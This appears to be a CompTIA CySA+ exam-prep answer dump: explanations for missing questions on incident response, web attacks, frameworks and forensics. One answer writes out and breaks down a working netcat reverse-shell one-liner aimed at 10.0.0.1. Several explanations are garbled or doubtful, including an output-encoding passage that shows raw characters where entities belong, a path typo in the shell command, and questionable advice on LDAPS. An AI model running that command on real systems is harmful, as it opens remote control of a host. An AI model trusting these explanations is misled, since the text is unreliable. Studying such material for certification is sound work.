CS0-003 CompTIA CyberSecurity Analyst CySA+ Certification Exam Question and Answers

The suspicious entry on the host-based IDS logs indicates that a reverse shell was executed on the host, which connects to the remote IP address 10.1.2.3 on port 8080. The shell script option D uses the netstat command to check if there is any active connection to that IP address and port, and prints “Malicious activity” if there is, or “OK” otherwise. This is the most accurate way to confirm if the reverse shell is still active, as the other options may not detect the connection or may produce false positives.

ReferencesCompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 8: Incident Response, page 339.Reverse Shell Cheat Sheet, Bash section.

The MITRE ATT&CK framework is specifically designed for tracking Tactics, Techniques, and Procedures (TTPs) associated with cyber threats. It provides a detailed matrix of known adversarial behaviors, which is useful for correlating SIEM data to known attack patterns. According to CompTIA CySA+, MITRE ATT&CK is an industry-standard framework for threat intelligence and behavior analysis, making it the ideal tool for tracking malicious IP addresses and understanding their tactics. Other options like OSSTMM, the Diamond Model, and OWASP do not focus on TTPs as directly as MITRE ATT&CK does.

In case of a phishing attack, it’s crucial to review what actions were taken by the employee and analyze the phishing email to understand its nature and impact.References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 6, page 246; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 6, page 255.

Tocapture and analyze network traffic, the two best tools are:

tcpdump (Option A)– A command-line packet capture tool used for network traffic analysis.

Wireshark (Option D)– A GUI-based network packet analysis tool that provides deep inspection capabilities​.

Option B (SIEM)is forlog aggregationand does notcapturetraffic.

Option C (Vulnerability scanner)identifies weaknesses but does notcapturenetwork traffic.

Option E (Nmap)is used for network discovery and port scanning, not capturing traffic.

Option F (SOAR)automates security processes but does not capture traffic.

Thus,A (tcpdump) and D (Wireshark) are correct, asthey are the best tools for capturing and analyzing anomalous network traffic​.

Asimulation(such as atabletop exercise or full-scale IR drill) is the best way to demonstrate real-world readiness without affecting operations​.

Option A (Reviewing lessons-learned and playbooks)is valuable but does not actively test readiness.

Option C (Deploying malware)is highly risky and unethical in a production environment.

Option D (Disaster recovery site testing)focuses on DR, not security incident readiness.

Thus,B is the best choice, as simulations effectivelytest incident response capabilities without operational disruption.

This is a type of web application vulnerability called cross-site scripting (XSS), which allows an attacker to inject malicious code into a web page that is viewed by other users. XSS can be used to steal cookies, session tokens, credentials, or other sensitive information, or to perform actions on behalf of the victim.

Input sanitization is a technique that prevents XSS attacks by checking and filtering the user input before processing it. Input sanitization can remove or encode any characters or strings that may be interpreted as code by the browser, such as <, >, ", ', or javascript:. Input sanitization can also validate the input against a predefined format or range of values, and reject any input that does not match.

Output encoding is a technique that prevents XSS attacks by encoding the output before sending it to the browser. Output encoding can convert any characters or strings that may be interpreted as code by the browser into harmless entities, such as <, >, ", ', or javascript:. Output encoding can also escape any special characters that may have a different meaning in different contexts, such as , /, or ;.

Code obfuscation is a technique that makes the source code of a web application more difficult to read and understand by humans. Code obfuscation can use techniques such as renaming variables and functions, removing comments and whitespace, replacing literals with expressions, or adding dummy code. Code obfuscation can help protect the intellectual property and trade secrets of a web application, but it does not prevent XSS attacks.

The command rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 > tmp/f is a one-liner that creates a reverse shell from the target machine to the attacker’s machine. It does the following steps:

•rm -f /tmp/f deletes any existing file named /tmp/f

•mknod /tmp/f p creates a named pipe (FIFO) file named /tmp/f

•cat /tmp/f|/bin/sh -i 2>&1 reads from the pipe and executes the commands using /bin/sh in interactive mode, redirecting the standard error to the standard output

•nc 10.0.0.1 1234 > tmp/f connects to the attacker’s machine at IP address 10.0.0.1 and port 1234 using netcat, and writes the output to the pipe

This way, the attacker can send commands to the target machine and receive the output through the netcat connection, effectively creating a reverse shell.

References

Hack the Galaxy

Reverse Shell Cheat Sheet

This VM has a public IP and an open port 80, which violates the company’s security requirements of no public IPs and no insecure ports/protocols. It also exposes the VM to potential attacks from the internet. This VM should be updated first to use a private IP and close the port 80, or use a secure protocol such as HTTPS.

References[CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition], Chapter 2: Cloud and Hybrid Environments, page 67.[What is a Public IP Address?][What is Port 80?]

Comprehensive Detailed Explanation:The most effective and economical way to ensure the security of an automated information system is to design it with security in mind from the outset. This is often referred to as "security by design." Here’s a breakdown of each option and why option A is correct:

A. Originally designed to provide necessary security

Explanation: Systems designed with security from the beginning integrate secure practices and considerations during the development process. This approach mitigates the need for costly and complex retroactive security implementations, which are common in systems where security was an afterthought.

Cost Efficiency: Security implementations at the design stage can be embedded into the system architecture, reducing the costs associated with later modifications.

Effectiveness: Security-by-design approaches often result in robust systems that are more resilient to vulnerabilities because they address security concerns at each development phase.

B. Subjected to intense security testing

While rigorous security testing (such as penetration testing and vulnerability assessments) is essential, it is reactive. Security testing is more effective when applied to systems already designed with foundational security principles, ensuring that tests identify potential flaws in an inherently secure system.

C. Customized to meet specific security threats

Customizing security to meet specific threats addresses unique risks, but such a targeted approach may miss new or emerging threats not initially considered. It also risks neglecting fundamental security practices that apply universally, leading to potential vulnerabilities.

D. Optimized prior to the addition of security

Optimizing a system before adding security features may enhance performance but does not guarantee security. Security cannot be effectively added onto a system as an afterthought without incurring additional costs or creating potential weaknesses.

The XML file containsJavaScript embedded within a <description> tagthat executes an alert message, which is a commonCross-Site Scripting (XSS)attack vector. The issue occurs becausethe XML schema does not restrict the input to safe characters, allowingarbitrary script executionwhen the XML file is processed by a vulnerable application.

Solution: Implement Input Validation Using an XML Schema Constraint

Option Benforces awhitelist approachby allowingonly alphanumeric characters and spaces([a-zA-Z 0-9]*).

This prevents the inclusion ofmalicious JavaScript or special characterssuch as <, >, or &, which are required for XSS injection​.

Why are the other options incorrect?

Option A: Restricts input to aSocial Security Number (SSN) format ([0-9]{3}-[0-9]{2}-[0-9]{4}). While it prevents JavaScript injection, it is too restrictive and would break legitimate text-based content in the XML.

Option C: Restricts input toonly numeric values ([0-9]*), preventing JavaScript injection but also breaking legitimate non-numeric content in the field.

Option D: Restricts input to asingle positive integer, which does not align with the expected text-based content.

Thus,Option Bis the correct answer, as it enforces proper input validation while still allowing expected text input​.

Vulnerability B is the vulnerability that the analyst should be most concerned about, knowing that end users frequently click on malicious links sent via email. Vulnerability B is a remote code execution vulnerability in Microsoft Outlook that allows an attacker to run arbitrary code on the target system by sending a specially crafted email message. This vulnerability is very dangerous, as it does not require any user interaction or attachment opening to trigger the exploit. The attacker only needs to send an email to the victim’s Outlook account, and the code will execute automatically when Outlook connectsto the Exchange server. This vulnerability has a high severity rating of 9.8 out of 10, and it affects all supported versions of Outlook. Therefore, the analyst should prioritize patching this vulnerability as soon as possible to prevent potential compromise of the workstations.

Comprehensive and Detailed Step-by-Step Explanation:Automation in cybersecurity is best utilized to improve the speed and accuracy of incident detection, analysis, and response. Tools like SOAR (Security Orchestration, Automation, and Response) streamline workflows, allowing analysts to focus on more complex tasks while reducing response times. This ensures quicker containment and mitigation of threats.

The best security control to implement against sensitive information being disclosed via file sharing services is to improve employee training and awareness. Employee training and awareness can help educate employees on the risks and consequences of using file sharing services for sensitive information, as well as the policies and procedures for handling such information securely and appropriately. Employee training and awareness can also help foster a security culture and encourage employees to report any incidents or violations of information security.

Increasing training and awareness for all staff is the best way to address the issue of employees being enticed to assist attackers by visiting specific websites and running downloaded files when prompted by phone calls. This issue is an example of social engineering, which is a technique that exploits human psychology and behavior to manipulate people into performing actions or divulging information that benefit the attackers. Social engineering can take many forms, such as phishing, vishing, baiting, quid pro quo, or impersonation. The best defense against social engineering is to educate and train the staff on how to recognize and avoid common social engineering tactics, such as:

Verifying the identity and legitimacy of the caller or sender before following their instructions or clicking on any links or attachments

Being wary of unsolicited or unexpected requests for information or action, especially if they involve urgency, pressure, or threats

Reporting any suspicious or anomalous activity to the security team or the appropriate authority

Following the organization’s policies and procedures on security awareness and best practices

Official References:

https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives

https://www.comptia.org/certifications/cybersecurity-analyst

https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered

Time synchronization issues can cause severe problems with authentication and logging. If system clocks are not properly synchronized, it can lead to discrepancies in log timestamps, making it difficult to correlate events across different systems. Additionally, time-related discrepancies can affect authentication mechanisms that rely on time-based tokens, such as those used in multifactor authentication, leading to failures and security gaps.

Using a vendor-provided API to automate pulling logs in real-time is the best option for improving the efficiency of security operations when the financial application does not allow event logging to send to the corporate SIEM. This approach ensures that logs are consistently and promptly integrated into the security monitoring process without manual intervention, enhancing the overall effectiveness of security operations.

An incident response plan is a set of predefined procedures and guidelines that an organization follows when faced with a security breach or attack. An incident response plan helps to ensure that the organization can quickly and effectively contain, analyze, eradicate, and recover from the incident, as well as prevent or minimize the damage and impact to the business operations, reputation, andcustomers. An incident response plan also defines the roles and responsibilities of the incident response team, the communication channels and protocols, the escalation and reporting procedures, and the tools and resources available for the incident response.

By following the company’s incident response plan, the administrator can ensure that they are following the best practices and standards for handling a security incident, and that they are coordinating and collaborating with the relevant stakeholders and authorities. Following the company’s incident response plan can also help to avoid or reduce any legal, regulatory, or contractual liabilities or penalties that may arise from the incident.

The other options are not as effective or appropriate as following the company’s incident response plan. Informing the internal incident response team (A) is a good step, but it should be done according to the company’s incident response plan, which may specify who, when, how, and what to report. Reviewing the lessons learned for the best approach © is a good step, but it should be done after the incident has been resolved and closed, not during the active response phase. Determining when the access started (D) is a good step, but it should be done as part of the analysis phase of the incident response plan, not before following the plan.

The correct answer is A. To ensure the report is legally acceptable in case it needs to be presented in court.

Proper handling and reporting of existing evidence are important for the investigation and reporting phases of an incident response because they ensure the integrity, authenticity, and admissibility of the evidence in case it needs to be presented in court. Evidence that is mishandled, tampered with, or poorly documented may not be accepted by the court or may be challenged by the opposing party. Therefore, incident responders should follow the best practices and standards for evidence collection, preservation, analysis, and reporting1.

The other options are not reasons why proper handling and reporting of existing evidence are important for the investigation and reporting phases of an incident response. They are rather outcomes or benefits of conducting a thorough and effective incident response process. A lessons-learned analysis (B) is a way to identify the strengths and weaknesses of the incident response team and improve their performance for future incidents. A postmortem analysis © is a way to determine the root cause, impact, and timeline of the incident and provide recommendations for remediation and prevention. A root cause analysis (D) is a way to identify the underlying factors that led to the incident and address them accordingly.

A compensating control is an alternative measure that provides a similar level of protection as the original control, but is used when the original control is not feasible or cost-effective. In this case, the CISO should develop a compensating control to mitigate the risk of the vulnerability in the ACE software, such as implementing additional monitoring, firewall rules, or encryption, until the issue can be fixed permanently by the developers. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5, page 197; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 5, page 205.

After detecting a compromised email server and unusual network traffic, the next step in incident response is containment, to prevent further damage or spread of the compromise. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5: Incident Response, page 197.

Using aregular expression (regex)to search email logs is the most efficient and scalable way to identify patterns in phishing URLs. Phishing campaigns often use consistent URL formats across different domains. Regex allows administrators to define flexible patterns to match these URLs even when the domains vary. This is significantly more effective than relying on user reports or less granular tools like firewall logs for such cases.

Root Cause Analysis (RCA)is the best approach toidentify and resolve the underlying cause of recurring incidents. It involves a systematic investigation of logs, configurations, and operational data to pinpoint the reason behindpersistent security issues​.

Option A (Vulnerability assessment)helpsidentify security weaknessesbut does not focus onrecurring operational issues.

Option C (Recurrence reports)trackpatternsbut do notresolve the root cause.

Option D (Lessons learned)is valuable but is typicallya post-mortem discussion rather than an investigative method.

Thus,B is the correct answer, asroot cause analysis is the best approach for diagnosing recurring availability issues​.

A cross-site scripting (XSS) attack is a type of web application attack that injects malicious code into a web page that is then executed by the browser of a victim user. A reflected XSS attack is a type of XSS attack where the malicious code is embedded in a URL or a form parameter that is sent to the web server and then reflected back to the user’s browser. In this case, the Nmap scan shows that the web server is vulnerable to a reflected XSS attack, as it returns the characters > and " without any filtering or encoding. The vulnerable parameter is id in the URL http://172.31.15.2/1.php?id=2. 

An incident manager should work with the legal and public relations entities to ensure correct processes are adhered to when communicating incident reporting to the general public, as a best practice. The legal entity can provide guidance on the legal implications and obligations of disclosing the incident, such as compliance with data protection laws, contractual obligations, and liability issues. The public relations entity can help craft the appropriate message and tone for the public communication, as well as manage the reputation and image of the organization in the aftermath of the incident. These two entities can help the incident manager balance the need for transparency and accountability with the need for confidentiality and security12. References: Incident Communication Templates, Incident Management: Processes, Best Practices & Tools - Atlassian

The correct answer is B. Replace the current MD5 with SHA-256.

The vulnerability that the security analyst is able to exploit is a hash collision, which is a situation where two different files produce the same hash value. Hash collisions can allow an attacker to bypass the integrity or authentication checks that rely on hash values, and submit malicious files to the system. The web application uses MD5, which is a hashing algorithm that is known to be vulnerable to hash collisions. Therefore, the analyst should suggest replacing the current MD5 with SHA-256, which is a more secure and collision-resistant hashing algorithm.

The other options are not the best suggestions to mitigate the vulnerability with the fewest changes to the current script and infrastructure. Deploying a WAF (web application firewall) to the front of the application (A) may help protect the web application from some common attacks, but it may not prevent hash collisions or detect malicious files. Deploying an antivirus application on the hosting system © may help scan and remove malicious files from the system, but it may not prevent hash collisions or block malicious files from being submitted. Replacing the MD5 with digital signatures (D)may help verify the authenticity and integrity of the files, but it may require significant changes to the current script and infrastructure, as digital signatures involve public-key cryptography and certificate authorities.

The most likely attack that was performed is CSRF (Cross-Site Request Forgery). This is an attack that forces a user to execute unwanted actions on a web application in which they are currently authenticated1. If the user has several tabs open in the browser, one of them might contain a malicious link or form that sends a request to the web application to change the user’s password, email address, or other account settings. The web application will not be able to distinguish between the legitimate requests made by the user and the forged requests made by the attacker. As a result, the user will lose access to their account.

To prevent CSRF attacks, web applications should implement some form of anti-CSRF tokens or other mechanisms that validate the origin and integrity of the requests2. These tokens are unique and unpredictable values that are generated by the server and embedded in the forms or URLs that perform state-changing actions. The server will then verify that the token received from the client matches the token stored on the server before processing the request. This way, an attacker cannot forge a valid request without knowing the token value.

Some other possible attacks that are not relevant to this scenario are:

RFI (Remote File Inclusion) is an attack that allows an attacker to execute malicious code on a web server by including a remote file in a script. This attack does not affect the user’s browser or account settings.

LFI (Local File Inclusion) is an attack that allows an attacker to read or execute local files on a web server by manipulating the input parameters of a script. This attack does not affect the user’s browser or account settings.

XSS (Cross-Site Scripting) is an attack that injects malicious code into a web page that is then executed by the user’s browser. This attack can affect the user’s browser or account settings, but it requires the user to visit a compromised web page or click on a malicious link. It does not depend on having several tabs open in the browser.

Reconnaissance is the first stage in the Cyber Kill Chain and involves researching potential targets before carrying out any penetration testing. The reconnaissance stage may include identifying potential targets, finding their vulnerabilities, discovering which third parties are connected to them (and what data they can access), and exploring existing entry points as well as finding new ones. Reconnaissance can take place both online and offline. In this case, an analyst finds that an IP address outside of the company network is being used to run network and vulnerability scans across external-facing assets. This indicates that the analyst is witnessing reconnaissance activity by an attacker. Official References: https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html

Improving employee training and awareness is the best option to address the issue of sensitive reports being disclosed via file sharing services. By educating employees about the risks of unapproved file sharing, the security protocols to follow, and the proper channels to use for sharing company information, an organization can significantly reduce the risk of sensitive data being accidentally or intentionally shared on insecure platforms. This human-centric approach addresses the root cause of the problem. Options A, C, and D are security controls that do not directly address the behavior of sharing sensitive files on unauthorized services.

The Diamond Model of Intrusion Analysis focuses on understanding the relationships between the adversary, their capabilities, infrastructure, and victim. It provides a structured approach to examining how attackers exploit information assets. According to CompTIA CySA+, this model is valuable for detailing attack patterns and understanding the infrastructure attackers use. The other options, like Structured Threat Information Expression (A) and OWASP Testing Guide (B), address threat data sharing and web application testing, respectively, while the Open Source Security Testing Methodology Manual (OSSTMM) (C) covers general security testing procedures.

Threat modelingis aproactiveapproach used toidentify, analyze, and mitigate potential threatsbefore they impact production systems. It is especially useful in early development stages to anticipate vulnerabilities and attack paths​.

Option B (Penetration testing)is areactive measureperformed on deployed systems, rather than prior to production.

Option C (Bug bounty)programs incentivize external researchers but do not proactively model risksbefore deployment.

Option D (SDLC training)improves security awareness but does notactively assess risks.

Thus,A (Threat modeling) is the best choice, as it enablesearly identification and mitigation of security risks​.

The correct answer is D. Registry.

The registry is a database that stores system configuration keys and values in a Windows environment. The registry contains information about the hardware, software, users, and preferences of the system. The registry can be accessed and modified using the Registry Editor tool (regedit.exe) or the command-line tool (reg.exe). The registry is organized into five main sections, called hives, which are further divided into subkeys and values.

The other options are not the best descriptions of where the analyst can find system configuration keys and values in a Windows environment. config.ini (A) is a file that stores configuration settings forsome applications, but it is not a database that stores system configuration keys and values. ntds.dit (B) is a file that stores the Active Directory data for a domain controller, but it is not a database that stores system configuration keys and values. Master boot record © is a section of the hard disk that contains information about the partitions and the boot loader, but it is not a database that stores system configuration keys and values.

The Common Vulnerabilities and Exposures (CVE) is a public repository of standardized identifiers and descriptions for common cybersecurity vulnerabilities. It helps security analysts to identify, prioritize, and report on the most critical vulnerabilities in their systems and applications. The other options are not relevant for this purpose: Cyber Threat Intelligence (CTI) is a collection of information and analysis on current and emerging cyber threats; Cyber Analytics Repository (CAR) is a knowledge base of analytics developed by MITRE based on the ATT&CK adversary model; ATT&CK is a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations.References: According to the CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition1, one of the objectives for the exam is to “use appropriate tools and methods to manage, prioritize and respond to attacks and vulnerabilities”. The book also covers the usage and syntax of various cybersecurity frameworks and standards, such as CVE, CTI, CAR, and ATT&CK, in chapter 1. Specifically, it explains the meaning and function of each framework and standard, such as CVE, which provides a common language for describing and sharing information about vulnerabilities1, page 28. Therefore, this is a reliable source to verify the answer to the question.

Based on the events in the log, the most likely occurrence is that an adversary is performing a vulnerability scan. The log shows LDAP read operations and EDR enumerating local groups, which are indicative of an adversary scanning the system to find vulnerabilities or sensitive information. The final entry shows SMB connection attempts to multiple hosts from a single host, which could be a sign of network discovery or lateral movement. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 4: Security Operations and Monitoring, page 161; Monitor logs from vulnerability scanners, Section: Reports on Nessus vulnerability data.

The best practice for securing access to sensitive data is to implement multifactor authentication (MFA), which combines multiple factors of authentication to enhance security.

Option B (Biometrics + Device with a Personalized Code) uses two strong factors:

Biometrics (something you are)

A device with a personalized code (something you have)This combination significantly reduces the risk of unauthorized access​.

Option A (Randomized Code) is good but weaker than biometrics because it relies only on something you have.

Option C (Passphrase) is single-factor authentication, which is susceptible to brute-force attacks​.

Option D (One-time Code + Push Notification) is useful, but email-based authentication can be vulnerable to phishing and MITM attacks.

The correct answer is A. To provide metrics and test continuity controls.

A disaster recovery exercise is a simulation or a test of the disaster recovery plan, which is a set of procedures and resources that are used to restore the normal operations of an organization after a disaster or a major incident. The goal of a disaster recovery exercise is to provide metrics and test continuity controls, which are the measures that ensure the availability and resilience of the critical systems and processes of an organization. A disaster recovery exercise can help evaluate the effectiveness, efficiency, and readiness of the disaster recovery plan, as well as identify and address any gaps or issues .

The other options are not the best descriptions of the goal of a disaster recovery exercise. Verifying the roles of the incident response team (B) is a goal of an incident response exercise, which is a simulation or a test of the incident response plan, which is a set of procedures and roles that are used to detect, contain, analyze, and remediate an incident. Providing recommendations for handling vulnerabilities © is a goal of a vulnerability assessment, which is a process of identifying and prioritizing the weaknesses and risks in an organization’s systems or network. Performing tests against implemented security controls (D) is a goal of a penetration test, which is an authorized and simulated attack on an organization’s systems or network to evaluate their security posture and identify any vulnerabilities or misconfigurations.

SOAR (Security Orchestration, Automation, and Response) is the best option to help the analyst implement the recommendation, as it reflects the software solution that enables security teams to integrate and coordinate separate tools into streamlined threat response workflows and automate repetitive tasks. SOAR is a term coined by Gartner in 2015 to describe a technology that combines the functions of security incident response platforms, security orchestration and automation platforms, and threat intelligence platforms in one offering. SOAR solutions help security teams to collect inputs from various sources, such as EDR agents, firewalls, or SIEM systems, and perform analysis and triage using a combination of human and machine power. SOAR solutions also allow security teams to define and execute incident response procedures in a digital workflow format, using automation to perform low-level tasks or actions, such as blocking an IP address or quarantining a device. SOAR solutions can help security teams to improve efficiency, consistency, and scalability of their operations, as well as reduce mean time to detect (MTTD) and mean time to respond (MTTR) to threats. The other options are not as suitable as SOAR, as they do not match the description or purpose of the recommendation. SIEM (Security Information and Event Management) is a software solution that collects and analyzes data from various sources, such as logs, events, or alerts, and provides security monitoring, threat detection, and incident response capabilities. SIEM solutions can help security teams to gain visibility, correlation, and context of their security data, but they do not provide automation or orchestration features like SOAR solutions. SLA (Service Level Agreement) is a document that defines the expectations and responsibilities between a service provider and a customer, such as the quality, availability, or performance of the service. SLAs can help to manage customer expectations, formalize communication, and improve productivity and relationships, but they do not help to implement technical recommendations like SOAR solutions. IoC (Indicator of Compromise) is a piece of data or evidence that suggests a system or network has been compromised by a threat actor, such as an IP address, a file hash, or a registry key. IoCs can help to identify and analyze malicious activities or incidents, but they do not help to implement response actions like SOAR solutions.

The output shows the results of a port scan, which is a technique used to identify open ports and services running on a network host. Port scanning can be used by attackers to discover potential vulnerabilities and exploit them, or by defenders to assess the security posture and configuration of their network devices1

The output lists six ports that are open on the target host, along with the service name and version associated with each port. The service name indicates the type of application or protocol that is using the port, while the version indicates the specific release or update of the service. The service name and version can provide useful information for both attackers and defenders, as they can reveal the capabilities, features, and weaknesses of the service.

Among the six ports listed, two are particularly risky and should be investigated further by the security team: port 23 and port 636.

Port 23 is used by Telnet, which is an old and insecure protocol for remote login and command execution. Telnet does not encrypt any data transmitted over the network, including usernames and passwords, which makes it vulnerable to eavesdropping, interception, and modification by attackers. Telnet also has many known vulnerabilities that can allow attackers to gain unauthorized access, execute arbitrary commands, or cause denial-of-service attacks on the target host23

Port 636 is used by LDAP over SSL/TLS (LDAPS), which is a protocol for accessing and modifying directory services over a secure connection. LDAPS encrypts the data exchanged between the client and the server using SSL/TLS certificates, which provide authentication, confidentiality, and integrity. However, LDAPS can also be vulnerable to attacks if the certificates are not properly configured, verified, or updated. For example, attackers can use self-signed or expired certificates to perform man-in-the-middle attacks, spoofing attacks, or certificate revocation attacks on LDAPS connections.

Therefore, the security team should investigate further why port 23 and port 636 are open on the target host, and what services are running on them. The security team should also consider disabling or replacing these services with more secure alternatives, such as SSH for port 23 and StartTLS for port 6362

Under the terms of PCI DSS, an organization that has experienced a breach of customer transactions should report the breach to the card issuer. The card issuer is the financial institution that issues the payment cards to the customers and that is responsible for authorizing and processing the transactions. The card issuer may have specific reporting requirements and procedures for the organization to follow in the event of a breach. The organization should also notify other parties that may be affected by the breach, such as customers, law enforcement, or regulators, depending on the nature and scope of the breach. Official References: https://www.pcisecuritystandards.org/

Multifactor authentication (MFA) is a security method that requires users to provide two or more pieces of evidence to verify their identity, such as a password, a PIN, a fingerprint, or a one-time code. MFA can reduce the impact of a credential leak because even if the attackers have the usernames and passwords of the employees, they would still need another factor to access the organization’s systems and resources. Password changes, system hardening, and password encryption are also good security practices, but they do not address the immediate threat of compromised credentials.

In digital forensics, a write blocker is a critical tool used to prevent any modifications to the source drive during imaging. When a forensic image is created, it should be an exact bit-for-bit copy of the original evidence. If a write blocker is not used, system processes or other unintended changes can alter the contents of the drive, leading to a hash mismatch between the original and the image copy​.

Chain of custody (Option A)ensures proper documentation of who accessed the evidence, but it does not directly affect the hash values.

Legal authorization (Option B)is necessary but unrelated to the technical integrity of the image.

Data integrity verification (Option C)is part of the process, but in this scenario, the failure to maintain integrity stems from the lack of a write blocker​.

Thus, the correct answer isD, as using a write blocker would have prevented any unintended changes to the data​.

SLA (Service Level Agreement) is the best term to describe the document that defines the expectation to network customers that patching will only occur between 2:00 a.m. and 4:00 a.m., as it reflects the agreement between a service provider and a customer that specifies the services, quality, availability, and responsibilities that are agreed upon. An SLA is a common type of document that is used in various industries and contexts, such as IT, telecom, cloud computing, or outsourcing. An SLA typically includes metrics and indicators to measure the performance and quality of the service, such as uptime, response time, or resolution time. An SLA also defines the consequences or remedies for any breaches or failures of the service, such as penalties, refunds, or credits. An SLA can help to manage customer expectations, formalize communication, improve productivity, and strengthen relationships. The other terms are not as accurate as SLA, as they describe different types of documents or concepts. LOI (Letter of Intent) is a document that outlines the main terms and conditions of a proposed agreement between two or more parties, before a formal contract is signed. An LOI is usually non-binding and expresses the intention or interest of the parties to enter into a future agreement. An LOI can help to clarify the key points of a deal, facilitate negotiations, or demonstrate commitment. MOU (Memorandum of Understanding) is a document that describes a mutual agreement or cooperation between two or more parties, without creating any legal obligations or commitments. An MOU is usually more formal than an LOI, but less formal than a contract. An MOU can help to establish a common ground, define roles and responsibilities, or outline expectations and goals. KPI (Key Performance Indicator) is a concept that refers to a measurable value that demonstrates how effectively an organization or individual is achieving its key objectives or goals. A KPI is usually quantifiable andspecific, such as revenue growth, customer satisfaction, or employee retention. A KPI can help to track progress, evaluate performance, or identify areas for improvement.

An incident response timeline is a detailed chronological record of all events and actions taken during the response to a security incident. It includes timestamps and descriptions of each step, providing a comprehensive overview of how the incident was detected, contained, mitigated, and resolved. This timeline is crucial for post-incident analysis, helping to understand the effectiveness of the response, identify areas for improvement, and ensure accountability and transparency in the incident handling process.

The endpoint log entry shows that a new account named “admin” has been created on a Windows system with a local group membership of “Administrators”. This indicates that a new account has been introduced on the system with administrative privileges. This could be a sign of malicious activity, such as privilege escalation or backdoor creation, by an attacker who has compromised the system.

The output shows that the web application is vulnerable to clickjacking attacks, which allow an attacker to overlay a hidden frame on top of a legitimate page and trick users into clicking on malicious links. Blocking requests without an X-Frame-Options header can prevent this attack by instructing the browser to not display the page within a frame.

A single pane of glass is a term that describes a unified view or interface that integrates multiple tools or data sources into one dashboard or console. A single pane of glass can help improve security operations by providing visibility, correlation, analysis, and alerting capabilities across various security controls and systems. A single pane of glass can also help reduce complexity, improve efficiency, and enhance decision making for security analysts. In this case, a security program was able to achieve a 30% improvement in MTTR by integrating security controls into a SIEM, which provides a single pane of glass for security operations. Official References: https://www.eccouncil.org/cybersecurity-exchange/threat-intelligence/cyber-kill-chain-seven-steps-cyberattack

Passive scanning is a method of vulnerability identification that does not send any packets or probes to the target devices, but rather observes and analyzes the network traffic passively. Passive scanning can minimize the risk of OT/ICS devices malfunctioning due to the vulnerability identification process, as it does not interfere with the normal operation of the devices or cause any network disruption. Passive scanning can also detect vulnerabilities that active scanning may miss, such as misconfigured devices, rogue devices or unauthorized traffic. Official References:

https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives

https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered

https://www.comptia.org/certifications/cybersecurity-analyst

Deploying EDR on the web server and the database server to reduce the adversaries capabilities and using micro segmentation to restrict connectivity to/from the web and database servers are two compensating controls that will help contain the adversary while meeting the other requirements. A compensating control is a security measure that is implemented to mitigate the risk of a vulnerability or an attack when the primary control is not feasible or effective. EDR stands for Endpoint Detection and Response, which is a tool that monitors endpoints for malicious activity and provides automated or manual response capabilities. EDR can help contain the adversary by detecting and blocking their actions, such as data exfiltration, lateral movement, privilege escalation, or command execution. Micro segmentation is a technique that divides a network into smaller segments based on policies and rules, and applies granular access controls to each segment. Micro segmentation can help contain the adversary by isolating the web and database servers from other parts of the network, and limiting the traffic that can flow between them. Official References:

https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives

https://www.comptia.org/certifications/cybersecurity-analyst

https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered

Command and control (C2) is a phase of the Cyber Kill Chain that involves the adversary attempting to establish communication with a successfully exploited target. C2 enables the adversary to remotely control or manipulate the target system or network using various methods, such as malware callbacks, backdoors, botnets, or covert channels. C2 allows the adversary to maintain persistence, exfiltrate data, execute commands, deliver payloads, or spread to other systems or networks.

The snippet shows an attempt to access the boot.ini file, which is a configuration file for Windows operating systems. The “… \ … /” pattern is used to navigate up the directory structure and reach the root directory, where the boot.ini file is located. This is a common technique for exploiting directory traversal vulnerabilities, which allow an attacker to access files and directories outside the intended web server path. The other options are not relevant for this purpose: remote file inclusion involves injecting a malicious file into a web application; cross-site scripting involves injecting malicious scripts into a web page; remote code execution involves executing arbitrary commands on a remote system; enumeration of /etc/passwd involves accessing the file that stores user information on Linux systems.

Risk Acceptance means acknowledging a risk and choosing not to take further action because the cost of mitigation may outweigh the benefits.

It is the last resort when:

The risk is low impact or unlikely to occur.

Other options (mitigation, transfer, avoidance) are not feasible.

Why Not Other Options?

A (Transfer) → Moving risk to a third party (e.g., insurance).

C (Mitigation) → Implementing security controls to reduce risk.

D (Avoidance) → Eliminating the risk entirely (e.g., discontinuing a service).

MITRE ATT&CK is a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. It is used as a foundation for the development of specific threat models and methodologies in the private sector, in government, and in the cybersecurity product and service community. It can help security professionals understand, detect, and mitigate cyber threats by providing a comprehensive framework of TTPs.

The correct answer is C. Legal department.

According to the CompTIA Cybersecurity Analyst (CySA+) certification exam objectives, one of the tasks for a security analyst is to “report and escalate security incidents to appropriate stakeholders and authorities” 1. This includes reporting any inappropriate use of resources, such as installing cryptominers on workstations, which may violate the company’s policies and cause financial and reputational damage. The legal department is the most appropriate group to escalate this issue to first, as they can advise on the legal implications and actions that can be taken against the employee. The legal department can also coordinate with other groups, such as law enforcement, help desk, or board members, as needed. The other options are not the best choices to escalate the issue to first, as they may not have the authority or expertise to handle the situation properly.

Comprehensive and Detailed Step-by-Step Explanation:Non-persistent virtual desktop infrastructures (VDIs) are the most suitable choice to ensure consistent security across different locations. Non-persistent VDIs revert to their original state after a session, reducing the risk of data leakage or malware persistence. These systems are centrally managed, ensuring uniform security policies regardless of the user's location.

